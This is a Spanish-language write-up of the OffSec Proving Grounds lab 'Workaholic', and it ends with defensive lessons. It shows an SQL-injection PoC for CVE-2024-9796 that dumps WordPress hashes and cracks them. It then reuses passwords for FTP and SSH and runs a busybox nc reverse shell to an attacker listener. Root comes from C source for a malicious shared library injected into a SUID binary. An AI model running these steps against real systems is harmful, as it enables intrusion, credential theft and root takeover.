the_open_door
café
ESEN

Workaholic

Proving Grounds PracticeMediaLinux192.168.131.229

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#wordpress#wp-advanced-search#cve-2024-9796#sqli#hash-cracking#password-reuse#ftp#wp-config#suid#shared-library-injection#oscp
TL;DR. Workaholic corre WordPress con el plugin WP Advanced Search vulnerable a una SQLi no autenticada (CVE-2024-9796) que vuelca los hashes de usuario (WP Advanced Search SQLi (CVE-2024-9796)). Crackeamos los phpass, reutilizamos la contraseña de charlie en el FTP para leer wp-config.php, y la contraseña de la base de datos abre el SSH de charlie (reutilización de credenciales). Un binario SUID, wp-monitor, carga una librería desde un directorio escribible; inyectamos un .so malicioso y obtenemos root (inyección de librería compartida).

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. FTP, SSH y un WordPress:

ping -c 1 192.168.131.229
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.131.229
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
nmap -p21,22,80 -sCV 192.168.131.229 -oN targetedScan
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Workaholic
|_http-generator: WordPress 6.7.2

WordPress - TCP 80

El código fuente de la portada (curl ... | grep offsec) referencia el vhost workaholic.offsec en el ajaxurl, que añadimos al /etc/hosts:

curl http://192.168.131.229 2>/dev/null | grep offsec | html2text

El código fuente filtra workaholic.offsec en ajaxurl; lo añadimos al /etc/hosts apuntando a 192.168.131.229

File "-", line 30, column 0: CDATA terminal not found
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/",
"ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg",
"source":{"concatemoji":"http:\/\/workaholic.offsec\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.2"}};
var ac_param = {"ajaxurl":"http:\/\/workaholic.offsec\/wp-admin\/admin-ajax.php","selector":".search-field",
"autoFocus":"","limitDisplay":"5","multiple":"1"};

$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

192.168.131.229 workaholic.offsec

Con el vhost resuelto, wpscan enumera el plugin desactualizado y los usuarios:

wpscan --url http://workaholic.offsec/ --enumerate p,u
[+] wp-advanced-search
 | Version: 3.3.8 (80% confidence)
[i] User(s) Identified:
[+] admin
[+] ted
[+] charlie

Explotación

Buscando por el plugin y su versión ("wp advanced search sqli exploit") llegamos a la ficha de WPScan "WP-Advanced-Search < 3.3.9.2 – Unauthenticated SQL Injection", que le pone número: CVE-2024-9796:

Búsqueda wp advanced search sqli exploit: WPScan documenta WP-Advanced-Search &amp;lt; 3.3.9.2 Unauthenticated SQL Injection CVE-2024-9796

WP Advanced Search <= 3.3.9.2 sufre una inyección SQL no autenticada (CVE-2024-9796). Un PoC público la explota para volcar la tabla de usuarios (WP Advanced Search SQLi (CVE-2024-9796)). Afinando la búsqueda ("CVE-2024-9796 git exploit") aparece el repo de yup-Ivan, que describe la inyección por el parámetro t del endpoint de autocompletado:

Búsqueda CVE-2024-9796 git exploit: repo GitHub yup-Ivan/CVE-2024-9796 que inyecta SQL por el parámetro t del autocompletado

El PoC de yup-Ivan es el que usamos; su banner se identifica al arrancar y es interactivo, así que pide la IP del WordPress y qué consulta lanzar (elegimos la 1, extraer usuarios y contraseñas):

python3 CVE-2024-9796.py

El PoC de CVE-2024-9796 vuelca los usuarios admin, charlie, ted y sus hashes phpass

admin
charlie
ted
$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/

Los hashes son phpass ($P$); john con rockyou recupera dos contraseñas:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes

john crackea los hashes phpass y devuelve okadamat17 y chrish20

okadamat17       (admin)
chrish20         (charlie)

Reutilización de credenciales: FTP y SSH

La contraseña de charlie se reutiliza en el FTP (vsftpd), donde encontramos y descargamos el wp-config.php (reutilización de credenciales):

ftp 192.168.131.229    # charlie
ftp> get wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpadmin' );
define( 'DB_PASSWORD', 'rU)tJnTw5*ShDt4nOx' );

Y esa contraseña de base de datos vuelve a estar reutilizada: abre el SSH de charlie:

cat wp-config.php | grep -i pass
ssh charlie@192.168.131.229    # rU)tJnTw5*ShDt4nOx

Password reuse: la contraseña de wp-config.php abre el SSH de charlie

charlie@192.168.131.229's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-48-generic x86_64)
Last login: Sat Feb  7 19:20:26 2026 from 192.168.45.204
$ whoami
charlie

Local

cat local.txt && whoami && ip a && hostname

local.txt leída como el usuario charlie

4f5ffd398a34110be02f080ad59fc844
charlie

Escalada de privilegios

Para trabajar la escalada con una PTY cómoda y registrada, lanzamos una reverse shell gestionada por Penelope desde la sesión de charlie (el payload busybox nc conecta con el listener de Penelope):

busybox nc 192.168.45.204 80 -e bash

Penelope recibe la reverse shell de workaholic (192.168.131.229) como charlie y la promociona a PTY

$ busybox nc 192.168.45.204 80 -e bash

$ penelope
[+] Listening for reverse shells on 0.0.0.0:4444  ->  127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.204
(Penelope)> listeners add -p 80
[+] Listening for reverse shells on 0.0.0.0:80  ->  127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.204
[-] Invalid shell from 192.168.131.229
[+] Got reverse shell from workaholic~192.168.131.229-Linux-x86_64  Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12

charlie@workaholic:~$ whoami
charlie

SUID wp-monitor: inyección de librería compartida

Buscamos binarios SUID y aparece uno propio del sitio, /var/www/html/wordpress/blog/wp-monitor. Con strings vemos que carga dinámicamente una librería desde una ruta bajo el home de ted y llama a una función init_plugin:

find / -perm -4000 2>/dev/null
strings /var/www/html/wordpress/blog/wp-monitor | grep -A3 '.so'

find revela el SUID wp-monitor y strings muestra que carga /home/ted/.lib/libsecurity.so llamando a init_plugin

/home/ted/.lib/libsecurity.so
init_plugin

El binario es SUID root y hace dlopen de /home/ted/.lib/libsecurity.so, un directorio en el que podemos escribir. Escribimos una librería con la función init_plugin que fije UID/GID a 0 y prepare una bash con SUID (inyección de librería compartida):

#include <stdlib.h>
#include <unistd.h>

void init_plugin() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

La compilamos como objeto compartido en la ruta exacta que el binario carga y ejecutamos wp-monitor:

gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
/var/www/html/wordpress/blog/wp-monitor

wp-monitor carga nuestra libsecurity.so y init_plugin se ejecuta como root, dando shell de root

charlie@workaholic:/home/ted/.lib$ gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
charlie@workaholic:/home/ted/.lib$ /var/www/html/wordpress/blog/wp-monitor
[+] Checking the logs ...
root@workaholic:/home/ted/.lib# whoami
root

Al cargar nuestra librería, wp-monitor (SUID root) ejecuta init_plugin con privilegios de root y caemos en una shell de root.

Root

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root

64e44b4b648d4755486d8abafbd28886
root

Cadena de ataque

WordPress (80)  --  WP Advanced Search 3.3.8
        │  CVE-2024-9796: SQLi -> hashes phpass -> john -> chrish20 (charlie)
        │  reutilización: charlie en FTP -> wp-config.php (DB pass)
        │  reutilización: DB pass -> SSH charlie
        ▼
charlie  (local.txt)
        │  SUID wp-monitor dlopen /home/ted/.lib/libsecurity.so (escribible)
        │  init_plugin() malicioso -> setuid(0) + bash SUID
        ▼
root  (proof.txt)

Lecciones aprendidas

  • Un plugin desactualizado abre la caja. WP Advanced Search 3.3.8 arrastraba la CVE-2024-9796; la SQLi no autenticada volcó todos los hashes. Mantener plugins al día no es opcional.
  • La reutilización de contraseñas encadena servicios. La misma contraseña de charlie valió para el FTP, y la de la base de datos para el SSH. Cada credencial reutilizada acorta la cadena del atacante.
  • wp-config.php es un tesoro. Descargarlo por FTP dio la contraseña de la base de datos, reutilizada para SSH. Ese fichero nunca debería ser accesible ni contener secretos reutilizados.
  • Cargar una .so desde una ruta escribible es RCE con los privilegios del binario. Un SUID root que hace dlopen de una librería que el usuario controla equivale a regalar root. Las rutas de carga de un binario privilegiado deben ser sólo escribibles por root.
Cheatsheet de comandos 9 comandos

Repaso rápido